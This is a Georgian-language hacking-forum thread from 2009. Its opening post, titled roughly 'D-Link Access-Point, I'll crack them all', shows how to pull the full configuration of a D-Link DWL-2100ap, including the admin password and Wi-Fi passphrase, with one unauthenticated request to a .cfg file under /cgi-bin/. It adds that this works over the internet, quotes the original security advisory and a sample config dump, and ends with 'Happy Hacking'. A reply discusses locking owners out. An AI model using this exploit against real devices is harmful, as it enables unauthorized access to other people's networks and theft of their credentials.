D-Link Access-Point, აბა ვტეხავ ყველა :D პარამეტრები

[Classical]

მოკლედ ვწერთ მისამართს თუ შიდა ქსელში ვართ 192.168.1.1 ან რა Ip range ც არის და როგორცაა მოკლედ და შემდეგ ვწერთ cgi-bin/Intruders.cfg (მაგალითად 192.168.1.1/cgi-bin/Intruders.cfg) ამას ხოდა გვიგდებს cfg ს რომელსაც გავხსნით cmd ში შემდეგნაირად სადაც შვინახეთ cfg მაგალითად cd desktop hit enter და edit Intruders.cfg შიგნით დაგვხვდება პაროლი და იუზერი. გლობალურზეც მუშაობს ანუ შიდა ქსელიდან მოთხოვნის გაგზავნა არ არის აუცილებელი.

პროგრამული კოდი

# ADVISORY/0206 - D-Link Wireless Access-Point (DWL-2100ap)
# INTRUDERS TIGER TEAM SECURITY - SECURITY ADVISORY
# http://www.intruders.com.br/ , http://www.intruders.org.br/

Making a HTTP request to the /cgi-bin/ directory, the Web server will return error 404 (Page not found).
Making a HTTP request to the /cgi-bin/AnyFile.htm, the Web server will return error 404 (Page not found).
However, making a HTTP request to any file in /cgi-bin/ directory, with .cfg extension, will return all the device configuration.

For example, making the following request:

http://dlink-DWL-2100ap/cgi-bin/Intruders.cfg

cfg ში დაგვხვდება ესეთი რაღაცა

პროგრამული კოდი

# Copyright © 2002 Atheros Communications, Inc., All Rights Reserved
# DO NOT EDIT -- This configuration file is automatically generated
magic Ar52xxAP
fwc: 34
login admin
DHCPServer
Eth_Acl
nameaddr
domainsuffix
IP_Addr 10.0.0.30
IP_Mask 255.0.0.0
Gateway_Addr 10.0.0.1
RADIUSaddr
RADIUSport 1812
RADIUSsecret
password ნუ რაც არის პაროლი ის იქნება აქ
passphrase
wlan1 passphrase AnewBadPassPhrase
# Several lines removed.

Happy Hacking

პოსტის უკანასკნელი ჩამსწორებელია Classical: Aug 1 2009, 09:41 PM

[shadow-land]

ეგ ყველაფერი კარგი მაგრამ თუ როუტერში შეისეირნებ და პაროლს შეცვლი გამოდის რომ ვისაც ის როუტერი უდგა ინტერნეტით ვეღარ ისარგებლებს რადგან როუტერი რომ პაროლს მოთხოვს ის ჩაწერს თავის შერჩჰეულს.....რაც სწორი არ იქნება.... მერე სხვის როუტერში რომც შეხვიდე მაინც შეზღუდული უფლებებით ისარგებლებ და ყველაფერს შენ ჩკვაზე ვერ გააკეთებ..)

3) მერე თუ როუტერის ხვრელს იპოვნი, სულ არ გინდა როუტერის გახსნა, იმიტომ რომ ეგ ფაილი 60%-ში ცალკე პარტიპციაზე ინახება. 20% ჩმოსში, რაც იდეაში ცალკე პარტიპციათ უნდა გამოჩდეს. თუ დეტალურად გაინტერესებს ამაზე, შეგილია ამავე ფორუმზე ნახო ჩემი აღმოჩენილი ხვრელი ერთ ძალიან ცნობილ როუტერზე

პარტიპცია და ჩმოსში რა არი თუ ამიხსნი კარგს იზავ (IMG:style_emoticons/default/biggrin.gif)


P.S ჯერ ერთი ამ ფორუმზე იმიტო ვარ რო რაგაც ვისწავლო, მეორეც ჭეშმარიტება კამათში იბადება........ ასე რომ გავაგრძელოთ (IMG:style_emoticons/default/biggrin.gif)